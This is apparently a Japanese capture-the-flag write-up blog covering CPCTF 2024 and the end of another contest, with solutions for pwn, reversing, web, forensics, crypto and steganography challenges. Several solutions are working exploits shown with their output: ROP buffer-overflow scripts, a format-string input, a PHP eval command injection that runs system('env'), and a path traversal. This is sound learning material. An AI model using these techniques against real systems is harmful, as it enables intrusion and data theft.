CIT{pl3nty_0f_b4n4n4z_f0r_y0u!_992obAKLRsklnqf235io1lWK9io13}
[*] Closed connection to 165.227.103.166 port 6001
CIT{pl3nty_0f_b4n4n4z_f0r_y0u!_992obAKLRsklnqf235io1lWK9io13}

twostep (Pwn)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  time_t tVar2;
  char local_1b8 [432];
  
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  iVar1 = rand();
  arg1 = iVar1 % 0x45;
  iVar1 = rand();
  arg2 = iVar1 % 0x1a4;
  puts("\x1b[32m~ authored by nop.so (https://nop.so/) ~\x1b[0m\n\n");
  puts("omg hi! I\'ve been practicing my texas two-step, but I can\'t quite figure it out.");
  puts("every time I almost nail it, I stumble and mess it all up. This will not do.");
  puts("\n");
  puts("I have a meeting with an important niche internet microcelebrity in ");
  printf("%d HOURS and %d MINUTES, \nand ",(ulong)arg1,(ulong)arg2);
  puts("I can\'t afford to make a single mistake!");
  puts("\n");
  puts("have any advice for a stepper such as myself to lock in and fix my 2 step game?");
  gets(local_1b8);
  return 0x13;
}

void left2_foot_creep_FORBIDDEN(int param_1)

{
  undefined8 local_118;
  undefined8 local_110;
  undefined8 local_108;
  undefined8 local_100;
  undefined8 local_f8;
  undefined8 local_f0;
  undefined8 local_e8;
  undefined8 local_e0;
  undefined8 local_d8;
  undefined8 local_d0;
  undefined8 local_c8;
  undefined8 local_c0;
  undefined8 local_b8;
  undefined8 local_b0;
  undefined8 local_a8;
  undefined8 local_a0;
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  FILE *local_10;
  
  if ((log == 1) && (param_1 == arg2)) {
    puts("magnificalicious. luh flaggington for you: \n");
    local_118 = 0;
    local_110 = 0;
    local_108 = 0;
    local_100 = 0;
    local_f8 = 0;
    local_f0 = 0;
    local_e8 = 0;
    local_e0 = 0;
    local_d8 = 0;
    local_d0 = 0;
    local_c8 = 0;
    local_c0 = 0;
    local_b8 = 0;
    local_b0 = 0;
    local_a8 = 0;
    local_a0 = 0;
    local_98 = 0;
    local_90 = 0;
    local_88 = 0;
    local_80 = 0;
    local_78 = 0;
    local_70 = 0;
    local_68 = 0;
    local_60 = 0;
    local_58 = 0;
    local_50 = 0;
    local_48 = 0;
    local_40 = 0;
    local_38 = 0;
    local_30 = 0;
    local_28 = 0;
    local_20 = 0;
    local_10 = fopen("./flag.txt","r");
    if (local_10 == (FILE *)0x0) {
      puts("internal error - contact @nop.so on discord");
                    /* WARNING: Subroutine does not return */
      exit(-1);
    }
    fgets((char *)&local_118,0x100,local_10);
    puts((char *)&local_118);
    fclose(local_10);
    return;
  }
  puts("not quite! teehee\n");
  puts("connection terminated.");
                    /* WARNING: Subroutine does not return */
  exit(0x1a4);
}

void right_foot_creep1(int param_1)

{
  if (param_1 != arg1) {
    puts("wrong! womp womp.");
                    /* WARNING: Subroutine does not return */
    exit(0x16);
  }
  log = 1;
  puts("almost. there.");
  return;
}

BOFで以下を実行するようにする。

・引数にarg1を指定してright_foot_creep1関数をコールする。
・引数にarg2を指定してleft2_foot_creep_FORBIDDEN関数をコールする。
$ ROPgadget --binary twostep | grep ": ret"  
0x000000000040101a : ret
0x000000000040149f : ret 0x1589
0x0000000000401042 : ret 0x2f
0x00000000004014ba : ret 0xfac1
0x00000000004011fa : ret 0xfffe
0x0000000000401022 : retf 0x2f
0x00000000004014c4 : retf 0xca69
0x0000000000401498 : retf 0xca6b

$ ROPgadget --binary twostep --re "pop rdi" 
Gadgets information
============================================================
0x00000000004011c5 : mov dl, byte ptr [rbp + 0x48] ; mov ebp, esp ; pop rdi ; ret
0x00000000004011c8 : mov ebp, esp ; pop rdi ; ret
0x00000000004011c7 : mov rbp, rsp ; pop rdi ; ret
0x00000000004011ca : pop rdi ; ret
0x00000000004011c6 : push rbp ; mov rbp, rsp ; pop rdi ; ret

Unique gadgets found: 5
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('165.227.103.166', 6003)
else:
    p = process('./twostep')

elf = ELF('./twostep')

ret_addr = 0x40101a
pop_rdi_addr = 0x4011ca
right_foot_creep1_addr = elf.symbols['right_foot_creep1']
left2_foot_creep_FORBIDDEN_addr = elf.symbols['left2_foot_creep_FORBIDDEN']

data = p.recvuntil(b'in \n').decode().rstrip()
print(data)
data = p.recvline().decode().rstrip()
print(data)
arg1 = int(data.split(' ')[0])
arg2 = int(data.split(' ')[3])

payload = b'A' * 440
payload += p64(ret_addr)
payload += p64(pop_rdi_addr)
payload += p64(arg1)
payload += p64(right_foot_creep1_addr)
payload += p64(pop_rdi_addr)
payload += p64(arg2)
payload += p64(left2_foot_creep_FORBIDDEN_addr)

data = p.recvuntil(b'?\n').decode().rstrip()
print(data)
print(payload)
p.sendline(payload)

for _ in range(4):
    data = p.recvline().decode().rstrip()
    print(data)

実行結果は以下の通り。

[+] Opening connection to 165.227.103.166 on port 6003: Done
[*] '/media/sf_Shared/twostep'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
~ authored by nop.so (https://nop.so/) ~


omg hi! I've been practicing my texas two-step, but I can't quite figure it out.
every time I almost nail it, I stumble and mess it all up. This will not do.


I have a meeting with an important niche internet microcelebrity in
5 HOURS and 279 MINUTES,
and I can't afford to make a single mistake!


have any advice for a stepper such as myself to lock in and fix my 2 step game?
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\xca\x11@\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\xcf\x11@\x00\x00\x00\x00\x00\xca\x11@\x00\x00\x00\x00\x00\x17\x01\x00\x00\x00\x00\x00\x00\x1a\x12@\x00\x00\x00\x00\x00'
almost. there.
magnificalicious. luh flaggington for you:

CIT{n0w_y3r_d4nc1n_thE_t3xas_2step_wbiw28qfe3gr1ddyBiq093kt310}
[*] Closed connection to 165.227.103.166 port 6003
CIT{n0w_y3r_d4nc1n_thE_t3xas_2step_wbiw28qfe3gr1ddyBiq093kt310}

Strung Along (Reverse Engineering)

Ghidraでデコンパイルする。

void __static_initialization_and_destruction_0(void)

{
  long in_FS_OFFSET;
  allocator local_71;
  allocator *local_70;
  char *local_68;
  undefined *local_60;
  undefined *local_58;
  undefined *local_50;
  undefined *local_48;
  undefined *local_40;
  undefined *local_38;
  undefined *local_30;
  undefined *local_28;
  char *local_20 [2];
  
  local_20[0] = *(char **)(in_FS_OFFSET + 0x28);
  local_68 = "CI";
  local_60 = &DAT_00103084;
  local_58 = &DAT_00103087;
  local_50 = &DAT_0010308a;
  local_48 = &DAT_0010308d;
  local_40 = &DAT_00103090;
  local_38 = &DAT_00103093;
  local_30 = &DAT_00103096;
  local_28 = &DAT_00103099;
  local_70 = &local_71;
                    /* try { // try from 0010239f to 001023a3 has its CatchHandler @ 001023e6 */
  std::
  vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>,std::allocator <std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>>
  ::vector<char_const*const*,void>
            ((vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>,st d::allocator<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char> >>>
              *)t[abi:cxx11],&local_68,local_20,&local_71);
  std::__new_allocator<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>
  ::~__new_allocator((__new_allocator<std::__cxx11::basic_string<char,std::char_traits<char>,std::al locator<char>>>
                      *)&local_71);
  __cxa_atexit(std::
               vector<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>,s td::allocator<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<c har>>>>
               ::~vector,t[abi:cxx11],&__dso_handle);
  if (local_20[0] != *(char **)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

                             DAT_00103081                                    XREF[2]:     __static_initialization_and_dest
                                                                                          __static_initialization_and_dest
        00103081 43              ??         43h    C
        00103082 49              ??         49h    I
        00103083 00              ??         00h
                             DAT_00103084                                    XREF[2]:     __static_initialization_and_dest
                                                                                          __static_initialization_and_dest
        00103084 54              ??         54h    T
        00103085 7b              ??         7Bh    {
        00103086 00              ??         00h
                             DAT_00103087                                    XREF[2]:     __static_initialization_and_dest
                                                                                          __static_initialization_and_dest
        00103087 50              ??         50h    P
        00103088 52              ??         52h    R
        00103089 00              ??         00h
                             DAT_0010308a                                    XREF[2]:     __static_initialization_and_dest
                                                                                          __static_initialization_and_dest
        0010308a 33              ??         33h    3
        0010308b 50              ??         50h    P
        0010308c 00              ??         00h
                             DAT_0010308d                                    XREF[2]:     __static_initialization_and_dest
                                                                                          __static_initialization_and_dest
        0010308d 34              ??         34h    4
        0010308e 52              ??         52h    R
        0010308f 00              ??         00h
                             DAT_00103090                                    XREF[2]:     __static_initialization_and_dest
                                                                                          __static_initialization_and_dest
        00103090 33              ??         33h    3
        00103091 34              ??         34h    4
        00103092 00              ??         00h
                             DAT_00103093                                    XREF[2]:     __static_initialization_and_dest
                                                                                          __static_initialization_and_dest
        00103093 50              ??         50h    P
        00103094 34              ??         34h    4
        00103095 00              ??         00h
                             DAT_00103096                                    XREF[2]:     __static_initialization_and_dest
                                                                                          __static_initialization_and_dest
        00103096 31              ??         31h    1
        00103097 4e              ??         4Eh    N
        00103098 00              ??         00h
                             DAT_00103099                                    XREF[2]:     __static_initialization_and_dest
                                                                                          __static_initialization_and_dest
        00103099 7d              ??         7Dh    }
        0010309a 00              ??         00h
CIT{PR3P4R34P41N}

I can't see it (Web)

$ curl http://138.197.33.187/ -v
*   Trying 138.197.33.187:80...
* Connected to 138.197.33.187 (138.197.33.187) port 80 (#0)
> GET / HTTP/1.1
> Host: 138.197.33.187
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: Werkzeug/2.2.2 Python/3.11.6
< Date: Sat, 20 Apr 2024 22:36:06 GMT
< Content-Type: text/html; charset=utf-8
< link: <style.css>; rel=stylesheet;
< Set-Cookie: request=Q0lUe24wV195b3VfQ0BuX3M1NV9tZX0=; Path=/
< Refresh: 2; url=https://www.youtube.com/watch?v=dQw4w9WgXcQ
< Content-Length: 0
< Connection: close
< 
* Closing connection 0

クッキーのrequestにbase64文字列が設定されている。

$ echo Q0lUe24wV195b3VfQ0BuX3M1NV9tZX0= | base64 -d
CIT{n0W_you_C@n_s55_me}
CIT{n0W_you_C@n_s55_me}

Invoice (Forensics)

スポンサーの一人に送信しているが、PDFの送信先は黒塗りしてマスクされている。そのPDFのマスクされている部分をコピペする。

TO: Sir Swaggy 1337 Information Security 22 Beehive Drive Freeport, Maine 04032 Phone: N/A
SHIP TO: Sir Swaggy 1337 Information Security 22 Beehive Drive Freeport, Maine
CIT{Sir_Swaggy}

Beep Boop (Forensics)

モールス信号を書き出す。

.. -. . ...- .. -.... ...-- .-. . -. .- -.. .. .--- ... -- ..-. .--- .--- .... -.- ..- ...-- .... -.- -. ...- ..-. ....- -.-- .--- -..- .... -... ....- -..- --- -.-- .-.. .....

デコードすると、以下のようになる。

INEVI63RENADIJSMFJJHKU3HKNVF4YJXHB4XOYL5
$ echo INEVI63RENADIJSMFJJHKU3HKNVF4YJXHB4XOYL5 | base32 -d
CIT{q#@4&L*RuSgSj^a78ywa}
CIT{q#@4&L*RuSgSj^a78ywa}

Sniff Sniff (Forensics)

httpでフィルタリングする。No.12492のパケットで以下のユーザ情報をPOSTしていることがわかる。

Form item: "uname" = "username"
Form item: "pass" = "Q0lUe2lKNUI5cyNsQXA2aUJOaTZKdFE4fQ=="
$ echo Q0lUe2lKNUI5cyNsQXA2aUJOaTZKdFE4fQ== | base64 -d
CIT{iJ5B9s#lAp6iBNi6JtQ8}
CIT{iJ5B9s#lAp6iBNi6JtQ8}

I LOVE PRIME! (Steganography)

$ exiftool meta-moon.jpg                
ExifTool Version Number         : 12.57
File Name                       : meta-moon.jpg
Directory                       : .
File Size                       : 24 kB
File Modification Date/Time     : 2024:04:20 06:40:54+09:00
File Access Date/Time           : 2024:04:20 06:42:24+09:00
File Inode Change Date/Time     : 2024:04:20 06:40:54+09:00
File Permissions                : -rwxrwx---
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 72
Y Resolution                    : 72
XMP Toolkit                     : Image::ExifTool 12.65
Description                     : CIT{meta_moon_prime_yummy}
Image Width                     : 1280
Image Height                    : 720
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1280x720
Megapixels                      : 0.922

Descriptionにフラグが設定されていた。

CIT{meta_moon_prime_yummy}

Intern (Steganography)

StegSolveで開き、Red plane 0を見ると、フラグが現れた。

CIT{f1r3_th1s_1nt3rn}

Drop me a chug jug! (Steganography)

Audacityで開き、スペクトログラムを見ると、フラグが現れた。

CIT{fOrtN1T3_ronnl369l}

The Art of the Beast (Steganography)

$ file the-art-of-the-beast.png 
the-art-of-the-beast.png: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 828x895, components 3

$ steghide extract -sf the-art-of-the-beast.png         
Enter passphrase: 
wrote extracted data to "misterbeast".

$ file misterbeast             
misterbeast: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9e264a1d1bade455908e08feca50817b54fc544f, for GNU/Linux 3.2.0, stripped

$ strings misterbeast | grep CIT{               
you must love mister beast too!!! here's your flag: CIT{mist4_b34st}
CIT{mist4_b34st}

Very Based (Crypto)

$ echo SU5FVkk2WlhHSlJXT1MyTUdORFZFSkJFTEJSRzRLVDU= | base64 -d
INEVI6ZXGJRWOS2MGNDVEJBELBRG4KT5

$ echo INEVI6ZXGJRWOS2MGNDVEJBELBRG4KT5 | base32 -d            
CIT{72cgKL3GR$$Xbn*}
CIT{72cgKL3GR$$Xbn*}

Forgot My Password (Crypto)

CrackStationでクラックする。

verysecure
CIT{verysecure}

Chosen One (Crypto)

$ ./chosenone 
Enter string: 12345678
YW!)4:y2
$ ./chosenone 
Enter string: 987654321
M2y:4)!WY

おそらく換字式暗号になっている。

$ ./chosenone 
Enter string: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
nKpxId]$C/c0eXHLYW!)4:y2MJS'Q^?;wRoEm+}5TU&<Nbh9F,#ta%1[B.ZOgsz`\_luP"f{Aqi3@V>kv8DG*(=6jr7-|~

つまり平文と暗号文の対応は以下のようになっている。

平文 :!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
暗号文:nKpxId]$C/c0eXHLYW!)4:y2MJS'Q^?;wRoEm+}5TU&<Nbh9F,#ta%1[B.ZOgsz`\_luP"f{Aqi3@V>kv8DG*(=6jr7-|~

以下の暗号文に対応表を見て、復号する。

暗号文:oTt74i!21/0;xLbk_Z3yPNdp|
平文 :CIT{5k38W*,@$0Npb[l7eM&#}
CIT{5k38W*,@$0Npb[l7eM&#}

CPCTF 2024 Writeup

この大会は2024/4/16 19:00(JST)~2024/4/17 7:00(JST)に開催されました。
この大会は個人戦。結果は1258点で155チーム中50位でした。
自分で解けた問題をWriteupとして書いておきます。

netcat (Shell, NEWBIE)

$ nc shell-netcat.web.cpctf.space 30010     
CPCTF{nc_means_netcat}
CPCTF{nc_means_netcat}

veeeeeeery long text (Shell, EASY)

$ ssh user@veeeeeeery-long-text.web.cpctf.space -p 30011
The authenticity of host '[veeeeeeery-long-text.web.cpctf.space]:30011 ([160.251.173.212]:30011)' can't be established.
ED25519 key fingerprint is SHA256:Yvdru5SCX5nmOaDr1cJTqK8rjP6vLZfEaEtkRncV+Uc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[veeeeeeery-long-text.web.cpctf.space]:30011' (ED25519) to the list of known hosts.
user@veeeeeeery-long-text.web.cpctf.space's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-79-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sat Apr 20 13:52:44 2024 from 106.154.142.142
$ ls
flag.txt
$ cat flag.txt | grep CPCTF
CPCTF{p1pe_15_u5efu1}FjmZDU+#_w0Dp@tnD]>MvLEDo\.P;nq0::qM1&V7*~X
CPCTF{p1pe_15_u5efu1}

About half (PPC)

以下の問題の条件を満たすプログラムを作成し、検証サイトで実行する。多くのテストケースで正しい答えになったら、フラグが表示される。

問題文
飴が全部で A+B 個あって、Aliceに A 個、Bobに B 個分けました。
AliceとBobは、相手の持っている飴の個数が、自分の持っている飴の個数の 2 倍より大きいとき、分け方に文句を言います。
この分け方にAliceもBobも文句を言わないかどうか判定をしてください。

制約
・入力はすべて整数
・1≤A,B≤500

入力
入力は以下の形式で標準入力から与えられる。

A B

出力
AliceもBobも文句を言わないならばYes、AliceとBobのどちらかでも文句を言うならばNoを出力してください。

以下のプログラムで、通った。

a, b = map(int, input().split())
if a > b * 2:
    print('No')
elif b > a * 2:
    print('No')
else:
    print('Yes')
CPCTF{n07_h41f}

Compound Word (PPC, NEWBIE)

以下の問題の条件を満たすプログラムを作成し、検証サイトで実行する。多くのテストケースで正しい答えになったら、フラグが表示される。

問題文
N 個の文字列 S1, S2 , ⋯,SN が与えられる。
これらの文字列のうち、異なる二つの文字列 Si, Sj を選び、Si Sj の順につなげた文字列を T をします。
この時、T としてあり得る文字列は何通りあるか求めてください。

制約
・N は整数
・2≤N≤50
・Si は英小文字からなる文字列
・1≤∣Si∣≤100
・Si ≠ Sj (i ≠ j)
・∑ | Si | ≤ 300

入力
入力は以下の形式で標準入力から与えられる。

N
S1 
⋮
SN
​
出力
答えを出力せよ。

以下のプログラムで、通った。

import itertools

N = int(input())
words = []
for _ in range(N):
    word = input()
    words.append(word)

str_list = []
for c in itertools.permutations(words, 2):
    s = ''.join(c)
    str_list.append(s)

ans = len(set(str_list))
print(ans)
CPCTF{Set_is_Useful_ki70v9354v7onymw}

mokomoko(OSINT, NEWBIE)

画像検索すると、以下のぺージが見つかる。

https://weathernews.jp/s/topics/201810/180115/

ひたち海浜公園の電話番号は029-265-9001。

CPCTF{0292659001}

Attack! Attack! Win! (Pwn, NEWBIE)

$ nc attack_attack_win.web.cpctf.space 30005


Defeat the enemy to get the flag!


YourHP:100
enemyHp:100

1: Attack
2: Heal
3: Hocus Pocus

3

Memory leak!
Attack     : 0x55eba06a1070
Heal       : 0x55eba06a1078
HocusPocus : 0x55eba06a1080
win        : 0x55eba06a1058

このメモリの状況から、1がAttack、2がHeal、3がHocusPocusで、Atackより3小さい数字である-2を指定すればwinが実行されることがわかる。

YourHP:50
enemyHp:100

1: Attack
2: Heal
3: Hocus Pocus

-2

You got the flag!
CPCTF{4_c1eVeR_4nd_p4CifI5t_7hi3F}
YourHP:0
enemyHp:100

You lose...
CPCTF{4_c1eVeR_4nd_p4CifI5t_7hi3F}

CPCT...... (Pwn, EASY)

FSBを使い、5文字以上の長さを取るようにする。

$ nc cpct.web.cpctf.space 30006
Please enter some string! (max 4 character)
%64x
Thank you!
Your input:                                                        c4fd6a80
Length: 64
This is your reward!
CPCTF{1m_50rrY_bu7_i_Hav3_0nLy_45_ch4raCteRs}
CPCTF{1m_50rrY_bu7_i_Hav3_0nLy_45_ch4raCteRs}

The sky's the limit (Pwn, EASY)

BOFでwin関数をコールすればよい。ただし、strlenで長さのチェックがあるので、途中"\x00"を入れ、入力文字列の長さを偽装する。

$ ROPgadget --binary chall | grep ": ret" 
0x000000000040101a : ret
from pwn import *

if len(sys.argv) == 1:
    p = remote('the_skys_the_limit.web.cpctf.space', 30007)
else:
    p = process('./chall')

elf = ELF('./chall')

ret_addr = 0x40101a
win_addr = elf.symbols['win']

payload = b'A' * 15
payload += b'\x00' * (24 - len(payload))
payload += p64(ret_addr)
payload += p64(win_addr)

data = p.recvuntil(b':').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to the_skys_the_limit.web.cpctf.space on port 30007: Done
[*] '/media/sf_Shared/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
input:b'AAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x10@\x00\x00\x00\x00\x00\x89\x12@\x00\x00\x00\x00\x00'
CPCTF{Nu11_s7rin6_m4De_y0u_fr3E}Segmentation fault (core dumped)
[*] Closed connection to the_skys_the_limit.web.cpctf.space port 30007
CPCTF{Nu11_s7rin6_m4De_y0u_fr3E}

peeping (Binary, NEWBIE)

$ strings chall | grep CPCTF    
CPCTF{b3_4_cLa1rv0yANt}
CPCTF{b3_4_cLa1rv0yANt}

Just reversing? (Binary, EASY)

flagの各インデックスのASCIIコード(chr)に対して以下のように暗号化している。

flag_enc[strlen(flag) - i - 1] = chr / 16 + chr % 16 * 16;

逆算し、復号する。

#!/usr/bin/env python3
with open('flag_enc.txt', 'rb') as f:
    enc = f.read()

flag = ''
for i in range(len(enc)):
    c = enc[len(enc) - i - 1]
    flag += chr((c % 16) * 16 + (c // 16))
print(flag)
CPCTF{l17Er4llY_r3vErs1nG}

Number Guesser (Binary, EASY)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  long in_FS_OFFSET;
  undefined8 local_1a;
  undefined2 local_12;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_1a = 0;
  local_12 = 0;
  puts("Guess the number!");
  __isoc99_scanf(&DAT_00102016,&local_1a);
  if (((((char)local_1a == '1') && (local_1a._1_1_ == '7')) && (local_1a._2_1_ == '7')) &&
     (((local_1a._3_1_ == '0' && (local_1a._4_1_ == '4')) && (local_1a._5_1_ == '\0')))) {
    printFlag(&local_1a);
  }
  else {
    puts("Wrong...");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

番号は17704を指定すればよい。

$ ./chall    
Guess the number!
17704
CPCTF{l4Ck3Y_NuMb3R!}
CPCTF{l4Ck3Y_NuMb3R!}

Typing game (Web, NEWBIE)

タイピングを10秒以内に行えば、フラグが表示されるようだ。
https://typing-game.web.cpctf.space/main.jsを見ると、以下のように書いてあった。

document.getElementById("flag").textContent = "CPCTF{y0u_4r3_4_typ1ng_m45t3r}";
CPCTF{y0u_4r3_4_typ1ng_m45t3r}

Let's buy some array (Web, EASY)

evalを使って結果を表示しているので、コマンドインジェクションを行う。

$ curl https://lets-buy-some-array.web.cpctf.space/purchase.php -d 'quantity1=system("env");1&quantity2=1&quantity3=1'
<html>
    <head>
        <title>数列屋</title>
        <meta charset="utf-8">
    </head>
    <body>
        <h1>レジ</h1>
        <form action="purchase.php" method="post">
            <table>
                <tr>
                    <th>商品名</th>
                    <th>単価</th>
                    <th>個数</th>
                    <th>小計</th>
                </tr>
                <tr>
                    <td>フィボナッチ数列</td>
                    <td>1000</td>
                    <td>system("env");1</td>
                    <td>APACHE_CONFDIR=/etc/apache2
HOSTNAME=8b09318702ae
PHP_INI_DIR=/usr/local/etc/php
SHLVL=0
PHP_LDFLAGS=-Wl,-O1 -pie
APACHE_RUN_DIR=/var/run/apache2
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=8.3.6
APACHE_PID_FILE=/var/run/apache2/apache2.pid
GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA
PHP_ASC_URL=https://www.php.net/distributions/php-8.3.6.tar.xz.asc
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_URL=https://www.php.net/distributions/php-8.3.6.tar.xz
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_GROUP=www-data
APACHE_RUN_USER=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/var/www/html
PHPIZE_DEPS=autoconf            dpkg-dev                file            g++             gcc             libc-dev           make             pkg-config              re2c
PHP_SHA256=53c8386b2123af97626d3438b3e4058e0c5914cb74b048a6676c57ac647f5eae
APACHE_ENVVARS=/etc/apache2/envvars
FLAG=CPCTF{3x3c_Func710n_1s_d4ng3r0u5}
FLAG=CPCTF{3x3c_Func710n_1s_d4ng3r0u5}</td>
                </tr>
                <tr>
                    <td>素数列</td>
                    <td>2000</td>
                    <td>1</td>
                    <td>2000</td>

                </tr>
                <tr>
                    <td>三角数列</td>
                    <td>1500</td>
                    <td>1</td>
                    <td>1500</td>
                </tr>
            </table>
            <p>合計金額はAPACHE_CONFDIR=/etc/apache2
HOSTNAME=8b09318702ae
PHP_INI_DIR=/usr/local/etc/php
SHLVL=0
PHP_LDFLAGS=-Wl,-O1 -pie
APACHE_RUN_DIR=/var/run/apache2
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=8.3.6
APACHE_PID_FILE=/var/run/apache2/apache2.pid
GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA
PHP_ASC_URL=https://www.php.net/distributions/php-8.3.6.tar.xz.asc
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_URL=https://www.php.net/distributions/php-8.3.6.tar.xz
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_GROUP=www-data
APACHE_RUN_USER=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/var/www/html
PHPIZE_DEPS=autoconf            dpkg-dev                file            g++             gcc             libc-dev           make             pkg-config              re2c
PHP_SHA256=53c8386b2123af97626d3438b3e4058e0c5914cb74b048a6676c57ac647f5eae
APACHE_ENVVARS=/etc/apache2/envvars
FLAG=CPCTF{3x3c_Func710n_1s_d4ng3r0u5}
FLAG=CPCTF{3x3c_Func710n_1s_d4ng3r0u5}円です。この画面を実店舗の店員にご提示ください。</p>
        </form>
    </body>
</html>

環境変数のFLAGにフラグが設定されていた。

CPCTF{3x3c_Func710n_1s_d4ng3r0u5}

Read Novels (Web)

パストラバーサルでflagファイルを読み取る。

$ curl https://read-novels.web.cpctf.space/novel?name=../flag                                                         
<!DOCTYPE html>
<html>
  <head>
    <title>../flag</title>
    <style></style>
  </head>
  <body style="white-space: pre-wrap">
    <h1>../flag</h1>
    CPCTF{P4th_tr4v3rs41_15_v3ry_d4ng3r0u5}
  </body>
</html>
CPCTF{P4th_tr4v3rs41_15_v3ry_d4ng3r0u5}

white has much information (Forensics, EASY)

Whitespace言語。https://www.dcode.fr/whitespace-languageで読み取る。

CPCTF{C4n_y0u_533_7h15?}

Substitution (Crypto, NEWBIE)

換字式暗号と推測し、quipqiupで復号する。

Well done! Solving this cryptogram requires both skill and patience. You've demonstrated exceptional acumen and perseverance. Bravo for cracking the code and unlocking its secrets! CPCTF{hello_crypto_world}
CPCTF{hello_crypto_world}

